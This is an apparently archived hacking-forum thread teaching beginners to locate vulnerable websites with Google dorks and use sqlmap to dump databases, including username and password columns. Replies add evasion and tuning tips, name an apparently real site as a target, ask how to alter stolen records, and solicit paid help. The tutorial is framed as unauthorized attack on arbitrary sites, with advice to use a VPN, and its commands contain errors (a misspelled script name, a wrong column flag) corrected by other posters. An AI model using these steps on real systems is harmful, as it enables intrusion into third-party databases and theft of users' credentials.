

Forum:[Hack Forums](#)

Thread: [\[TUT\] Use An SQL Injection to Hack a Website on Windows Using SQLMap\[TUT\]](#)

_Valor - January 19, 2015, 4:55 pm

READ: This is my very first post on HF. Sorry if it is LQ, overdone, or confusing. ?

Hello everyone! My name is _Valor(Valor), and today I'm going to be teaching you how to use SQL Map to hack into the database of a website.

Q. What is an "SQL Injection"?

A. An SQL Injection is an injection of malicious code used to grab information on a website. It uses security flaws to send SQL(Structured Query Language) statements to send information to an individual.

Things needed:

1. An internet connection.
2. A basic understanding of computers/command prompt.
3. A brain

First step:

-Download Python 2.7.9.

Go through the setup, and make sure you know where the installation folder is.

-Download SQL Map.

Save it to your desktop, or a place where you have quick access to the folder.

Second step:

-Rename the SQL Map folder to just "SQLMap", drag it into the Python installation folder. Drag the entire folder, not the contents.

Third step:

-Make a shortcut on your desktop with the "File location" as "cmd". Name it SQLMap.

Fourth step:

-Right click the new shortcut that was created on your desktop. Go into properties, and change the "Start in" text box to the location of your SQL Map folder(in your Python installation folder). You can edit the rest of the settings(colors, cmd window size, ect) to your liking. Location should look like this: "C:\Python27\SQLMap"

Fifth step:

-Run the shortcut, it should say "C:\Python27\SQLMap>", if not, go back and make sure everything is correct.

-Time to find websites you can inject! For a simple search, go to Google and type "inurl:.php?id=" without the quotes, and you'll be able to find some websites.

-Once you find a website, go to the search bar in the top. Add an apostrophe at the end of the link, if the website pops up with an SQL error, it is a website that is potentially vulnerable. Ex: Code You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1"

Sixth step:

-Type the following command:

Code `slqmap.py -u website.com/php?id=1 --dbs` -Of course, fill in "website.com/php?id=" with the domain name you found. SQL Map should start doing the work for you, and say:

Code [INFO] fetching database names

[INFO] the SQL query used returns x entries -X is a variable that depends on the website you are penetration testing.

There will always be an `information_schema` database, it has no usernames, passwords, or anything of that nature.

Seventh step:

-If everything went through without error, you're doing good. If there are errors, the website might not be able to be SQL Injected. Once everything goes through without error, it should give you database names(Also, read questions the SQLMap provides about injecting, and answer Y/N accordingly):

-After you get database names, go to the user/admin created one. In my case it would be "raahauges_com_cms".

-Type this command with the name of the database you're getting into in place of "database".
Code `slqmap.py -u website.com/php?id=1 -D database --tables` -This should now give you a list of tables.

-Look through them, and find the one you would like to go deeper into. Should look like this:

Code [8 tables]

```
+-----+
| gallery |
| members |
| news    |
| pages   |
| posters |
| productions |
| settings |
| users   |
+-----+
```

Eighth step:

-Find the table you want to look into deeper, and type the following command:

Code `slqmap.py -u website.com/php?id=1 -T table --columns` -Once again, replace "table" with the name of the table you'd like to see the columns of.

-It should display something like this:

Code [4 columns]

```
+-----+-----+
| Column | Type   |
+-----+-----+
| date   | date   |
| details | text   |
| id     | int(11) |
| title  | varchar(255) |
```

+-----+-----+ -If it does, continue to next step.

Ninth step:

-Find the column you'd like to dump the information on, this is where you'd see the username and password columns.

-Type the following command:

Code `slqmap.py -u website.com/php?id=1 -T table -U column --dump`

-If you'd like to display more than one column at a time, separate the names with commas, no spaces. Ex:

Code `column1,column2 --dump`

Tenth step(Tips):

- It should display the information you're looking for.
- If you don't find what you're looking for, look under different tables.
- If there's more than one database, check both for information you're looking for.

And you're done!?

I'm not going to go into detail about what you can do with this information, because I figure you can do that on your own. Good luck, have fun, and use a VPN. Have a good day. ?

Sholay - - January 19, 2015, 5:09 pm

Pretty high quality tutorial!

A few things I found unclear:

Where it says "put the name of the database here", how are we supposed to know the name of it? Same goes for the table bit.

Beladonis - January 19, 2015, 5:31 pm

You should tell beginners that the right way of doing SQL injections is manually. Also sometimes there are no error messages but the site is still vulnerable, and sometime only double apostrophe " throw an error message.

Clear and nice tut anyways.

Obimoto - January 19, 2015, 5:35 pm

(Jan 19, 2015 06:31 PM)Beladonis Wrote: [\[CITE\]](#) You should tell beginners that the right way of doing SQL injections is manually. Also sometimes there are no error messages but the site is still vulnerable, and sometime only double apostrophe " throw an error message.

Clear and nice tut anyways.

I agree. Although sqlmap is a great resource, you should not promote the use of tools before learning the subject. Knowledge is the biggest difference between a hacker and a skid...

Great tutorial! It's just really an sqlmap tut, not really an injection tutorial...

I see this is your first though, so seriously keep it up! Keep trying to make better and better threads, and never stop learning...

_Valor - January 19, 2015, 6:56 pm

(Jan 19, 2015 06:09 PM)~Gabe Wrote: [\[CITE\]](#) Pretty high quality tutorial!

A few things I found unclear:

Where it says "put the name of the database here", how are we supposed to know the name of it? Same goes for the table bit. Once you put in the command, it will say there were db's found. Sorry for not making that clear.

(Jan 19, 2015 06:35 PM)Obimoto Wrote: [\[CITE\]](#) I agree. Although sqlmap is a great resource, you should not promote the use of tools before learning the subject. Knowledge is the biggest difference between a hacker and a skid...

Great tutorial! It's just really an sqlmap tut, not really an injection tutorial...

I see this is your first though, so seriously keep it up! Keep trying to make better and better threads, and never stop learning... Thank you a lot! And yes, it is an SQLMap tutorial, but SQL Map is for injection, so I figured I would broad it out so people who didn't know anything about the subject could look here, and I could open their eyes to a pretty neat tool.

Grizzel - January 20, 2015, 2:57 pm

Hey,

I just came into this and i already learned alot of things from your tut about SQLMap
However i struggled with one thing here and i hoped you can help:
I found a site that was viable for the injection as it gave an SQL warning.
I came into the database, then got the tables but here i got across a problem:
When i try to call the columns of a certain table, it gave a error that it couldnt recieve the column names from the table 'name' What might have caused this?

Beladonis - January 20, 2015, 3:42 pm

Do it manually and see if something is wrong (could be a WAF or an empty table for example...)

_Valor - January 20, 2015, 8:32 pm

(Jan 20, 2015 03:57 PM)Grizzel Wrote: [\[CITE\]](#) Hey,

I just came into this and i already learned alot of things from your tut about SQLMap
However i struggled with one thing here and i hoped you can help:
I found a site that was viable for the injection as it gave an SQL warning.
I came into the database, then got the tables but here i got across a problem:
When i try to call the columns of a certain table, it gave a error that it couldnt recieve the column names from the table 'name' What might have caused this?
You might have put the name in quotes? Make sure you spell the name exactly, and don't put it in quotes.

Obimoto - January 21, 2015, 12:16 am

(Jan 20, 2015 03:57 PM)Grizzel Wrote: [\[CITE\]](#) Hey,

I just came into this and i already learned alot of things from your tut about SQLMap
However i struggled with one thing here and i hoped you can help:
I found a site that was viable for the injection as it gave an SQL warning.
I came into the database, then got the tables but here i got across a problem:
When i try to call the columns of a certain table, it gave a error that it couldnt recieve the column names from the table 'name' What might have caused this?
Use -C instead of -U
-U is for enumerating a user...

OP, to enumerate columns you use -C please edit to make more understandable...
Also, haven't tested your method, but I normally do -D (database here) -T (table here) -C (column here) --dump

ItsCoding - January 22, 2015, 12:42 pm

Nice tutorial :) but where can i find the sql map files ?

_Valor - January 22, 2015, 6:36 pm

(Jan 22, 2015 01:42 PM)ItsCoding Wrote: [\[CITE\]](#) Nice tutorial :) but where can i find the sql map files ?
Google SQL Map, first link. I think it's just like sqlmap(dot)net

newQuery - February 20, 2015, 7:00 pm

Yo dude, I have tried about 10 vulnerable website tonight, and i couldn't dump any of them, everytime I get :
"do you want to use common column existence check? [y/N/q]" I type "y", and then it ask me :
"please enter number of threads? [Enter for 1 <current>]" I typed "1", and then it start scanning

some shit for like 5 minutes, and end by telling me :"[WARNING] no column<s> found [*] shutting down at XX:XX:XX"

Could you add me skype or PM me please ?

Wqjkdqwdqwd1 - February 21, 2015, 5:21 am

it says it couldnt find slqmap.py,
how can i fix this?

heres a screenshot:

Arka - February 21, 2015, 2:55 pm

(Feb 21, 2015 06:21 AM)Wqjkdqwdqwd1 Wrote: [\[CITE\]](#) it says it couldnt find slqmap.py,
how can i fix this?

heres a screenshot:

Isn't anybody biting? Poor troll, just poor. ^.^

Abdilo - February 21, 2015, 6:34 pm

python sqlmap.py -u \$1 --threads=\$2 --random-agent --dump-format=SQLITE --eta
--exclude-sysdbs \$3
put that into a .sh file, chmod +x it, then do ./file.sh URL 10 --tables

also edit core/lib/settings.py threads=10 to threads=1000

Coeg - February 22, 2015, 10:05 pm

why i get a message like these?

[11:13:03] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[11:17:17] [WARNING] GET parameter 'page' is not injectable
[11:17:17] [CRITICAL] all tested parameters appear to be not injectable. Try to
increase '--level'/'--risk' values to perform more tests. Also, you can try to r
erun by providing either a valid value for option '--string' (or '--regexp') If
you suspect that there is some kind of protection mechanism involved (e.g. WAF)
maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment')

What do i do to fix that?

Abdilo - February 22, 2015, 11:58 pm

(Feb 22, 2015 11:05 PM)Coeg Wrote: [\[CITE\]](#) why i get a message like these?

[11:13:03] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[11:17:17] [WARNING] GET parameter 'page' is not injectable
[11:17:17] [CRITICAL] all tested parameters appear to be not injectable. Try to
increase '--level'/'--risk' values to perform more tests. Also, you can try to r
erun by providing either a valid value for option '--string' (or '--regexp') If
you suspect that there is some kind of protection mechanism involved (e.g. WAF)
maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment')

What do i do to fix that?that means from the tests it did it is not vuln to sqli
do --level=4 --risk=4

Obimoto - February 23, 2015, 12:05 am

(Feb 23, 2015 12:58 AM)Grey Hat Mafias Bitch Wrote: [\[CITE\]](#) that means from the tests it did it is not vuln to sqli

do --level=4 --risk=4Yeah the last part is this ^^

The first part is saying it does not know what the back-end dbms is, so by default it is using the unescaped version...

You would use the -dbms option to fix that...

i.e.

-dbms=MySQL

Coeg - February 23, 2015, 7:02 pm

I'm trying to inject this site with sqlmap

www*trisakti*ac*id/?page=jobs&ID=1105

Could you help and show me how to inject that site please?

Abdilo - February 23, 2015, 11:37 pm

(Feb 23, 2015 08:02 PM)Coeg Wrote: [\[CITE\]](#) I'm trying to inject this site with sqlmap

www*trisakti*ac*id/?page=jobs&ID=1105

Could you help and show me how to inject that site please?im going to laugh my ass off if there is no sqli and you think all sites are vuln to sqli because they have ?id=

Arka - February 24, 2015, 1:24 pm

(Feb 24, 2015 12:37 AM)Grey Hat Mafias Bitch Wrote: [\[CITE\]](#) im going to laugh my ass off if there is no sqli and you think all sites are vuln to sqli because they have ?id=

He may not think that. He asked for help with the same URL in a thread he made -->

<https://hackforums.net/showthread.php?tid=4700000>

The site was proven to be vulnerable.

rUNEY - February 24, 2015, 2:17 pm

Dear OP you made one mistake from what i can see, The code on the sixth step says "slqmap.py" Its supposed to be "sqlmap.py" thought i'd clear that up so people don try 7-8 times like i did anyways Some help with this would be appreciated

i1107.photobucketDOTcom/albums/h381/raylaw1/Untitled_zpsioddncmt.png

swatcity - February 24, 2015, 2:19 pm

this is literally full blown aids.

lol @ not even mentioning --help

Balde - February 26, 2015, 10:45 am

Great Tutorial bro, Thanks for this!

Triload - February 28, 2015, 6:45 am

Great tutorial, much to read through which is nice

devtheacc - March 1, 2015, 1:44 pm

Thank you!

Will try to learn now!

!!!!!!

mradin1 - March 2, 2015, 8:14 pm

Nice tutorial, really appreciate this :)

LionRagex - March 4, 2015, 2:03 pm

Do these kind of errors also make the website sql vulnerable or it's only erros mentioning sql
gyazo.com/d6d874e6daeb3e29834ffe71c2d523e3

SH?D? - March 4, 2015, 9:01 pm

what does inurl mean i need to put the actual url ?

<http://heroes-wow.com/wotlk/admin/login.php>

Lexica - March 4, 2015, 9:17 pm

(Mar 4, 2015 10:01 PM)Berries Wrote: [\[CITE\]](#) what does inurl mean i need to put the actual url ?

<http://heroes-wow.com/wotlk/admin/login.php>

Here you go, just click this [LMGTFY](#).

SH?D? - March 4, 2015, 9:27 pm

im talking about getting the user and pass off the site i need

Palash Motghare - March 9, 2015, 3:02 am

Nice tutorial..... but i think not to use sqlmap yet..... wanna increase knowledge by doing it manually
you should also tell them to try injecting manually first to increase knowledge...

Sleepyz0r - March 27, 2015, 11:04 am

hey there ppl im having a difficult here.

Im using Kali and im trying to use sqlmap but when i do, nothing happens...!

Code root@kali:~# sqlmap -u http://website.com/list.php?id=34' --dbs

>

It stays like that like forever..! Am i doing anything wrong?

Thnx in advance.

???? - March 27, 2015, 10:50 pm

Great tut. Pics might make things a bit more clear.

vendettalogzz - May 18, 2015, 4:28 am

Nice tutorial, found it very helpful...thanks for the share

kiwilion - September 12, 2016, 3:56 am

i get an sql error when i put apostrophe, but when i type sqlmap.py -u website.com --dbs.....then
the command prompt comes back to the sqlmap root directory and nothing happens (ie
c:\python2.7\sqlmap>

why is that?

kiwilion - September 24, 2016, 2:29 am

help anyone?? i tried about 5 vulnerable sites..doesnt return any results on the very first command
(the -u website --dbs command...just comes back to same command prompt)...is that cos i ddint
setup properly or the site is not vulnerable?? im sure i set up properly

Chimi - June 14, 2017, 11:23 am

How i will edit/change entry in a database if i would like to add some record in a database tables & their columns. How it would be. (I can see database name, tables, columns the entire information, but the most important thing is that how to add my own details in that database).

Regards

After knowing the Databases names, Tables, Columns and all the data which are store in the database, e.g name, age, contact, email, address. How i will change the exist entry in database and how i will add my own information in the database.

Winkyje - June 20, 2017, 7:33 am

Thank you for this tuto :)

mrxd - December 2, 2017, 7:24 am

hello can u please pm i wan to pay something from u